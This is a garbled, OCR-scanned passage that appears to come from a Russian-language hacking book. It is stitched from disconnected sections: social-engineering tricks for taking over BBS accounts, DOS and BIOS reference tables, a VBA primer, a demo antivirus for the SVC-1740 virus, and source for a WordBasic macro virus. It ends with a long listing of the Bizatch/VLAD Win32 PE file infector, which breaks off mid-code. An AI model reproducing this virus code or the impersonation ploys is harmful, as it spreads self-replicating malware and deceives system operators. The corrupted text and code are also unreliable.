ственно входить под его именем и пользоваться системой. Главное, что-
бы письмо было написано от имени системного оператора или какого-
либо администратора данной системы. Если система не позволяет
менять имя адресата в поле FROM, стоит зайти в нее под другим име-
нем (к примеру, Mr. CoSysOp) и написать подобное письмо. Наверное,
не надо предупреждать, что все данные, указанные при регистрации под
заведомо ложным именем, не должны быть настоящими.
Можно предложить еще один способ проникновения - метод "забыва-
ния пароля". Вся хитрость в том, что при входе в систему указывается
имя какого-либо пользователя этой BBS, пароль которого, естественно,
не известен. После неудачных попыток ввода пароля (не надо пытаться
его подобрать, лучше сделать вид, что пароль забыт, вводя различные
слова, типа Sprite, Cola и так далее) нужно составить письмо системно-
му оператору с просьбой поменять "забытый" пароль на другой. Указы-
ваем новый пароль, затем сочиняем душещипательную историю о ка-
ком-нибудь хакере, якобы подобравшем наш пароль на другой BBS или
вообще в Интернет, из-за чего приходится использовать на всех систе-
мах разные пароли. Если системный оператор не очень опытный, выс-
лушав такую ужасную историю он обязательно войдет в положение не-
счастного и выполнит его просьбу - поменяет текущий пароль на
предложенный. Дальше - полная свобода действий. Работоспособность
данного метода зависит от того, насколько опытен оператор, а также
убедительна ли выдуманная история. Прочитав ее, системный оператор
не должен и предположить, что его обманывают.
Д Коды ошибок DOS
2 - файл не найден
3 - путь доступа не найден
5 - доступ отвергнут
6 - недопустимая обработка
8 - недостаточно памяти
10 - недопустимая программная среда
11 - неверный формат
18 - файлы отсутствуют
В Функции программирования Flash в AMIBIOS
За программирование Flash в AMIBIOS отвечает функция EOh преры-
вания INT 16h. При вызове прерывания INT 16h номер функции дол-
жен находиться в регистре АН, номер подфункции - в регистре AL.
При возврате из функции регистр AL содержит FAh как подтвержде-
ние, что данная функция прерывания поддерживается. Флаг CF равен
нулю при успешном выполнении и равен единице при ошибке.
Для уверенности в успешном выполнении функций необходимо всегда
проверять AL=FAh на выходе.
Данный макрос открывает диалоговое окно
' Данный макрос открывает диалоговое окно и выводит сообщение
Sub Stupid_Greeting
MsgBox "Hello World!"
End Sub
Процедуры-функции (также называемые просто функциями) возвраща-
ют значение, которое может быть передано в качестве параметра другой
процедуре. Их синтаксис:
Function <Имя_Функции>(Аргументы)
-> Инструкции <-
'Комментарий
End Function
'Суммирует параметры а и b и возвращает
'результат в переменную "AddAB"
Function AddAB(a.b)
AddAB=a+b
End Function
Конечно, в документ можно вставить столько макросов, сколько нужно
(или сколько хочется), ограничений на их количество нет. Набор мак-
росов (процедур-подпрограмм и процедур-функций), составляющих до-
кумент, называется модулем VBA.
Язык VBA работает также с объектами (внутри модулей VBA можно
делать ссылки на документы, графику). Объекты обладают свойствами.
Например, свойством (или атрибутом) объекта является его цвет.
VBA также позволяет работать с переменными. Как любой язык струк-
турного типа, VBA имеет типичные конструкции:
цикл "For-next":
Sub Counter "Процедура
lnfect_Num=0
For Count=1 to 10 'Цикл от 1 до 10
lnfect_Num=lnfect_Num+Count
Next Count
MsgBox "Достигли максимального количества заражений"
End Sub
4-1436
условие "If-then":
Sub lnfect_Check
If lnfect_Num=0 Then MsgBox "Файл не заражен"
End Sub
конструкция "With-end with" (используется для работы с несколькими
свойствами конкретного объекта):
Sub ChangeProperties
With Selection
.Font.Bold=True
.Font.Colorlndex=3 'красный цвет
End With
End Sub
селектор "Select case-end case":
Sub CheckJnfection
Select Case lnfect_Num
Case 0
MsgBox "Файл не заражен"
Case is > О
MsgBox "Файл заражен"
Case is < О
lnfect_Num=0
End Case
End Sub
Полезным инструментом для работы с VBA является окно отладки.
В нем можно трассировать код, вносить в него изменения и делать мно-
гое другое. В процессе отладки для остановки на некоторое время ис-
полнения кода используются флаги. Чтобы можно было анализировать
содержимое конкретных переменных и/или инструкций, после каждой
команды выводятся сообщения (в отладчике VBA для прерывания ис-
полнения кода можно ставить также контрольные точки).
Нужно обратить внимание на разнообразные аргументы функций.
Как уже говорилось, структура их следующая:
Function <Имя>(Аргументы)
[.]
End Function
Аргументами могут быть константы, переменные или выражения.
Процедуры могут быть и без аргументов.
Function Get_Name()
Name=Application.UserName
End Function
Некоторые функции всегда требуют фиксированное число аргументов
(до 60). Другие функции имеют несколько обязательных аргументов,
а остальные могут отсутствовать.
После того, как основы VBA стали понятны, идем дальше. Итак, виру-
сы и "троянцы" на VBA.
Язык VBA универсален, и тому есть две причины. Во-первых, этот язык
прост в изучении и использовании, поскольку он является языком ви-
зуального программирования, он ориентирован на события, а не на
объекты. С его помощью без особых затрат времени очень легко созда-
вать сложные модули. Во вторых, можно использовать большое количе-
ство предопределенных функций, облегчающих работу. В третьих, име-
ются функции (или макросы) автоматического выполнения, что
позволяет упростить написание процедур автокопирования, занесения
в память и прочих используемых стандартными DOS-вирусами.
Помимо этого, преимуществом VBA является свойство переносимости.
VBA работает под Win З.х, Win95, WinNT, MacOS и так далее, то есть
в любой операционной системе, где можно запустить приложения его
поддерживающие.
VBA представляет собой язык, адаптированный к языку приложения,
из-под которого он запущен. Это означает, что если на компьютере ус-
тановлена, например, испанская версия WinWord, то имена предопреде-
ленных функций будут также на испанском. Так что два следующих
макроса - вовсе не одно и то же.
Пример антивируса
Итак, нужно написать некую программу, которая будет сканировать ка-
талоги указанного диска, искать зараженные файлы и исцелять их.
Важный момент - поиск и лечение должны производиться после заг-
рузки с "чистой" дискеты. Это правило должно выполняться при ис-
пользовании любого антивируса. Но если коммерческие программы, на-
писанные профессиональными вирусологами, каким-то образом
пытаются противодействовать "заразе", пресекая действия агрессивных
резидентов, разыскивая и обращаясь к оригинальным обработчикам
прерываний или проверяя свой код на целостность, то представленная
программа из-за своей простоты этого делать не умеет.
В качестве языка программирования выбран С. Приоритетным призна-
но использование таких библиотечных процедур, форматы которых
идентичны во многих системах программирования. Поэтому, например,
использовалась процедура _dos_findfirst(), а не findfirst(). Программа
была написана и отлаживалась в системе, программирования JPI
TopSpeed С v3.01, а также была проверена на Borland C++ v3.1. Кроме
того, контролировалось наличие, идентичность по функциям и форма-
там вызова использованных библиотечных функций в системах про-
граммирования Microsoft C++ v6.0 и Watcom C++ vlO.0. Но если что-
то и не совпадет, откорректировать программу любому программисту не
составит труда.
Основу программы составляет алгоритм обхода дерева каталогов и по-
иска в них файлов с расширениями "СОМ" и "ЕХЕ".
В тот момент, когда обнаружен очередной потенциально зараженный
файл, вызывается функция infectedQ с именем файла в качестве пара-
метра. Задачей этой функции является проверка указанного файла на
заражение и возврат соответствующего признака.
В случае положительного результата на заражение вызывается функция
cure(), которая и выполняет операцию исцеления зараженной программы.
Если требуется написать программу для лечения для какого-либо другого
вируса, достаточно просто изменить содержимое процедур cure() и infectedQ.
Итак, как же узнать, заражена программа или нет? В прошлых главах
это делалось чисто визуально, теперь же требуется определить формаль-
ные признаки зараженности.
В основе общепризнанного метода лежит принцип выделения сигнату-
ры вируса. Сигнатура - это последовательность байт, однозначно харак-
терная для конкретного вируса.
Разумеется, неправильно было бы использовать для детектирования
файла такие ненадежные признаки, как, например, 60 секунд во време-
ни создания файла. Во-первых, это может быть признаком случайного
изменения (например, при упаковке/распаковке некоторыми архивато-
рами). Во-вторых, слишком многие вирусы используют для самоопозна-
ния одинаковые признаки. Наконец, эти признаки могут принадлежать
совершенно здоровой программе (как в истории с антивирусом antitime
и сигнатурой MsDos).
Вообще говоря, сигнатура - это множество N пар <Pi,Bi>, i=l.N, где
Pi - расположение i-го байта, Bi - значение i-го байта. Но на практике
часто используют непрерывные сигнатуры, для которых важно опреде-
лить только место расположения первого байта и длину сигнатуры.
Какой должна быть длина сигнатуры? Вообще говоря, чем больше -
тем лучше, в идеале в сигнатуру должна входить вся неизменяемая
часть вируса, что гарантирует однозначность распознавания. Но это не-
вероятно увеличит объем антивируса (а известные программы лечат
тысячи вирусов) и замедлит процесс распознавания. Таким образом,
целесообразным следует считать количество от нескольких байт до не-
скольких десятков байт - не больше. Остановимся на цифре 6.
Итак, в качестве сигнатуры вируса SVC-1740 выберем 6 байт вируса,
которые размещены начиная с 1724-го байта, если считать от конца за-
раженного файла (с 16-го байта вируса). Вполне возможно, что эти
6 байт совпадают для всех вирусов семейства SVC. Но вероятность
того, что машина сразу заражена несколькими вирусами одного семей-
ства, крайне мала. А вот выбор в качестве сигнатуры шести первых байт
вируса был бы точно ошибочным, потому что, как уже говорилось
выше, подобное начало характерно для очень большого числа вирусов.
Итак, сигнатура OB4h 83h OCDh 21h 5Eh 56h длиной б байт расположена
начиная с 1724-го байта, если считать от конца зараженной программы.
Теперь рассмотрим вопрос лечения программы. Фрагменты заражен-
ной программы, которые необходимо восстановить для излечения, оп-
ределены ранее.
Напомним, что вирус SVC-1740, заражая программу, дописывается в ее
конец, сохраняя в своем теле первые 24 байта оригинальной программы.
Поэтому для излечения как ЕХЕ, так и СОМ-программ, вполне доста-
точно переписать сохраненные 24 байта в начало программы без учета
того, что большая их часть не была изменена, и отсечь 1740 вирусных
байт в конце зараженной программы.
Но с методической точки зрения, следуя стратегии заражения, необхо-
димо в СОМ-программе восстановить только первые три байта,
а в ЕХЕ-програмее - 6 ранее измененных слов заголовка.
Поэтому для функции cure() предусмотрен именно второй алгоритм
лечения, хотя он более медленный и сложный.
Итак, для СОМ-файла считываем 3 байта, с 80-го по 78-й, если считать
от конца файла, и переписываем их в начало файла, для ЕХЕ-файла -
перемещаем 6 слов согласно таблице 6.1. и отсекаем последние
1740 байт.
Таблица 6.1. Таблица перемещений для ЕХЕ-файла
Источник, отсчет от конца файла |
Приемник, отсчет от начала файла |
78 | 2 |
76 | 4 |
66 | 14 |
64 | 16 |
60 | 20 |
58 | 22 |
Демонстрационный антивирус-фаг
для вируса SVC-1740.
"**"***************"**"**"*"*******"*"*"**^
#include <stdio.h>
^include <dos.h>
^include <dir.h>
^include <str.h>
^include <process.h>
^include <errno.h>
^include <bios.h>
^include <io.h>
#include <fcntl.h>
^define F_FOUND 0
#define PATH_LEN 128
^define DRIVE_LEN 4
ftdefine BLANK_LEN 80
#define BAD 1
^define GOOD 0
#define DBG
char
/* Строка имени текущего подкаталога */
path[PATH_LEN],
/* Строка имени начального места расположения */
old_path[PATH_LEN],
/* Строка имени требуемого устройства 7
drive[DRIVE_LEN],
/* Пустая строка */
blank[BLANK_LEN];
int
/* Количество отсканированных каталогов 7
n_dir,
/* Количество исследованных файлов 7
nJil,
/* Количество больных и исцеленных файлов 7
n_ill;
int
/* Длина имени файла */
I,
/* Временный индекс */
Пример макро-вируса
Выше были изложены основы для изучения макро-вирусов. Пришло
время рассмотреть исходные тексты.
Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN
'Включаем обработку автоматических макросов
DisableAutoMacros 0
'Проверим, установлен ли макрос. Если макрос AutoExec
'присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then
'Заразим. Копируем макрос
MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1
MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1
MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1
MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1
MacroCopy WindowName$()+":DateiSpeichernUnter",
"Global.-DateiSpeichernllnter", 1
MacroCopy WindowName$()+":DateiBeenden",
"GlobahDateiBeenden", 1
MacroCopy WindowName$() + ": ExtrasOptionen ",
"Global :ExtrasOptionen", 1
MacroCopy WindowName$()+":DateiDokvorlagen",
"GlobaLDateiDokvorlagen", 1
MacroCopy WindowName$()+":lt", "Global:lt", 1
MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1
End If
End Sub
'Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed
'Установим переменную Installed в 0 (инициализация переменной).
"При положительном результате проверки установим ее в 1
lnstalled=0
'Проверим, есть ли макросы
If CountMacros(O) > 0 Then
"Проверим имена макросов. Если есть AutoExec,
"установим переменную Installed в 1
For i=1 To CountMacros(O)
If MacroName$(i, 0)="AutoExec" Then
lnstalled=1
End If
Next i
End If
End Function
Function Forgetit
Forgetlt=0
Section$="Compatibility"
ProfilName$="Nomvir"
BlaBla$=GetProfileString$(Section$, ProfilName$)
If BlaBla$="Ox0690690" Then
Forgetlt=1
End If
End Function
Пример реализации
Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5"
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, "пра-
вильный" адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для "безопасных" функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21 ,ax
mov ax, [si+6]
mov Ofs21 ,ax
ret
Skip:
; Переходим к следующему элементу таблицы
add si,8
[Проверяем, не закончилась ли таблица. Если таблица закончилась,
;читаем адрес текущего обработчика прерывания
cmp [si], О
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21 h - метод
;" предопределенных адресов" не сработал, точка входа не найдена
mov ax, 3521h
int 21 h
mov Ofs21,bx
mov Seg21 ,es
ret
;Таблица позиций 2А и 2.
Table dw OFF03h, 5333h,OFF03h, 420Ah
dw OFDC8h, 41D1h,OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Ah
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
-.Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21 h
ret
;B этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;0бработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp
Для поддержки Unicode Win32 интерпретирует
.386
locals
jumps
.model flat.STDCALL
include win32.inc некоторые 32-битные константы и структуры
L equ <LARGE>
;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess.-PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
; Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
Loadlcon equ <LoadlconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
•data
newhwnd dd 0
Ippaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
we WNDCLASS <?>
mbx_count dd 0
hinst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
[Сообщение, выводимое в окне
szPaint db "Left Button pressed:"
s_num db "OOOOOOOOh times.",0
.Размер сообщения
MSG_L EQU ($-offset szPaint)--!
.code
;Сюда обычно передается управление от загрузчика.
start:
.Получим HMODULE
push L О
call GetModuleHandle
mov [hlnst],eax
push L 0
push offset szClassName
call FindWindow
or eax.eax
jz reg_class
.Пространство для модификации строки заголовка
mov [zero]," "
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hlnst]
mov [wc.clsHlnstance], eax
[Загружаем значок
push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax
; Загружаем курсор
push L IDC.ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
.Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName
;Регистрируем класс окна
push offset we
call RegisterClass
; Создаем окно
push L 0 .IpParam
push [hinst] .hinstance
push L 0 ;Меню
push L 0 ;hwnd родительского окна
push L CWJJSEDEFAULT ;Высота
push L CWJJSEDEFAULT ;Длина
push L CWJJSEDEFAULT ;Y
push L CWJJSEDEFAULT ;X
push L WSJ3VERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
.Сохраняем HWND
mov [newhwnd], eax
.Отображаем окно на экране
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow
;0бновляем содержимое окна
push [newhwnd]
call UpdateWindow
;0чередь сообщений
msgJoop:
.Прочитаем следующее сообщение из очереди
push L О
push L О
push L О
push offset msg
call GetMessage
; Если функция GetMessage вернула нулевое значение, то завершаем
[обработку сообщений и выходим из процесса
стр ах.0
je endJoop
Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
[Переходим к следующему сообщению
jmp msgJoop
;Выход из процесса
endJoop:
push [msg.msWPARAM]
call ExitProcess
.Обработка сообщений окна. Win32 требует сохранения регистров
;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC: DWORD
[Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
стр [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg].WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wm paint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
Данная программа не обрабатывает это сообщение.
.Передадим его Windows,
:чтобы оно было обработано по умолчанию
jmp defwndproc
.Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
Подготовим окно для перерисовки
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое
доказывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;0бозначим завершение перерисовки окна
push offset Ippaint
push [hwnd]
call EndPaint
; Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
; Выходим из обработки сообщения
mov eax, О
jrnp finish
[Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [Iparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
[Выходим из обработки сообщения
jmp finish
[Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
[Закроем поток
push L О
call PostQuitMessage
[Выходим из обработки сообщения
mov eax, О
jmp finish
.Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:
inc [mbx_count]
[Обновим содержимое окна
push L О
push L О
push [hwnd]
call InvalidateRect
[Выходим из обработки сообщения
mov eax, О
jmp finish
[Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
; Выход им из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
[Выходим из обработки сообщения
mov eax, О
jmp finish
[Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
[Заполним структуру MINMAXINFO
mov ebx, [Iparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
.Выходим из обработки сообщения
mov eax, 0
jmp finish
[Выходим из обработки сообщения
finish:
ret
WndProc endp
Процедура перевода байта в ASCII-формат для печати. Значение,
[находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES:EDI
HexWriteS proc
; Разделяем байт на полубайты и загружаем их в регистры АН и AL
mov ah.al
and al.OFh
shr ah,4
[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
[соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h
.Меняем полубайты местами, чтобы регистр АН содержал младший
.полубайт, а регистр AL - старший
xchg al.ah
;Проверим. надо ли корректировать младший полубайт,
.если да - корректируем
cmp ah, 39h
ja @@4
[Проверим, надо ли корректировать старший полубайт,
;если да - корректируем
@@1:
cmp al,39h
ja @@3
;Сохраним значение по адресу ES:EDI
@@2:
stosw
ret
.Корректируем значение старшего полубайта
@@3:
sub al, 30h
add al, "A"-10
jmp @@2
[Корректируем значение младшего полубайта
@@4:
sub ah, 30h
add ah, "A"-10
jmp @@1
HexWriteS endp
[Процедура перевода слова в ASCII-формат для печати.
[Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite16 proc
;Сохраним младший байт из стека
push ax
;3агрузим старший байт в регистр А1_
xchg al,ah
.Переведем старший байт в ASCII-формат
call HexWrite8
; Восстановим младший байт из стека
pop ax
Переведем младший байт в ASCII-формат
call HexWrite8
ret
HexWrite-16 endp
Процедура перевода двойного слова в ASCII-формат для печати.
;3начение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc
.Сохраним младшее слово из стека
push eax
; Загрузим старшее слово в регистр АХ
shr eax, 16
[Переведем старшее слово в ASCII-формат
call HexWrite-16
[Восстановим младшее слово из стека
pop eax
[Переведем младшее слово в ASCII-формат
call HexWrite-16
ret
HexWrite32 endp
[Сделаем процедуру WndProc доступной извне
public WndProc
ends
[ Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
assume cs:vladseg
vstart:
;Вычислим текущий адрес
call recalc
recalc:
pop ebp
mov eax.ebp
db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке
push eax
[Вычислим стартовый адрес вирусного кода
sub ebp.offset recalc
.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]
Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]
jmp movit
;Точка 2 не подошла, проверим точку 1
notkern2:
;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
Проверим ключ, если ключа нет - выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
.Сохраним адрес KERNEL
mov [ebp+offset kern].eax
eld
;3апомним текущую директорию
lea eax, [ebp+offset orgdir]
push eax
push 255
call GetCurDir
; Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл
infectdir:
lea eax, [ebp+offset win32_data_thang]
push eax
lea eax, [ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
.Проверим, найден ли файл. Если файл не найден,
.меняем директорию
стр еах,-1
jz foundnothing
[Откроем файл для чтения и записи
gofile:
push О
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
lea eax, [ebp+offset fullname]
push eax
call CreateFile
.Сохраним описатель файла
mov dword ptr [ebp+offset ahandj.eax
Проверим, не произошла ли ошибка.
. Если ошибка произошла, ищем следующий файл
стр еах,-1
jz findnextone
.Поставим указатель позиции чтения/записи на поле
;со смещением РЕ-заголовка
push О
push О
push 3Ch
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем адрес РЕ-заголовка
push О
lea eax,[ebp+offset bytesread]
push eax
push 4
lea eax,[ebp+offset peheaderoffset]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
.Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов
push О
lea eax, [ebp+offset bytesread]
push eax
push 58h
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
[Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader],00004550h;
jnz notape
.Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],OFOODh
jz notape
cmp dword ptr [ebp+offset 52],4000000h
jz notape
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем весь РЕ-заголовок и таблицу объектов
push О
lea eax, [ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
[Установим признак заражения
mov word ptr [ebp+offset peheader+4ch],OFOODh
[Найдем смещение таблицы объектов
xor eax.eax
mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax
[Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax.eax
mov ax,[ebp+offset numObj]
mov ecx.40
xor edx.edx
mul ecx
add esi.eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi.esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax, [edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx.dword ptr [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта
mov ecx.dword ptr [ebp+offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
.Вычислим виртуальный размер нового объекта
mov ecx.dword ptr [ebp+offset objalign]
mov eax.vend-vstart+tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
; Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx.dword ptr [ebp+offset filealign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
[Обновим размер образа (размер в памяти) файла
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx, [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
.Скопируем новый объект в таблицу объектов
mov ecx, 10
rep movsd
[Вычислим точку входа RVA
mov eax.dword ptr [ebp+offset RVA]
mov ebx.dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax.ebx
add eax,5
[ Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
[Запишем РЕ-заголовок и таблицу объектов в файл
push О
lea eax, [ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
[Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
[Поставим указатель позиции чтения/записи
; по физическому смещению нового объекта
push О
push О
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;3апишем тело вируса в новый объект
push О
lea eax,[ebp+offset bytesread]
push eax
push vend-vstart
lea eax, [ebp+offset vstart]
push eax
